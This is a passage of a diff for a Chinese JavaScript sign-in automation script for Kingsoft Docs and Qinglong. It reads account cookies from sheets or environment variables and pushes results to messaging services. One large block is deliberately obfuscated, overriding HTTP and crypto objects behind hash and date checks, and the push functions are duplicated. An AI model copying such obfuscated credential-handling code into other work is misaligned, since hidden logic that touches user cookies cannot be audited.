== 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + input = Range("D" + pos).Value2 + let url = "https://jkapi.com/api/zz_bdsl?url=" + input + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.json() + // console.log(resp) + content = resp["msg"] + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = 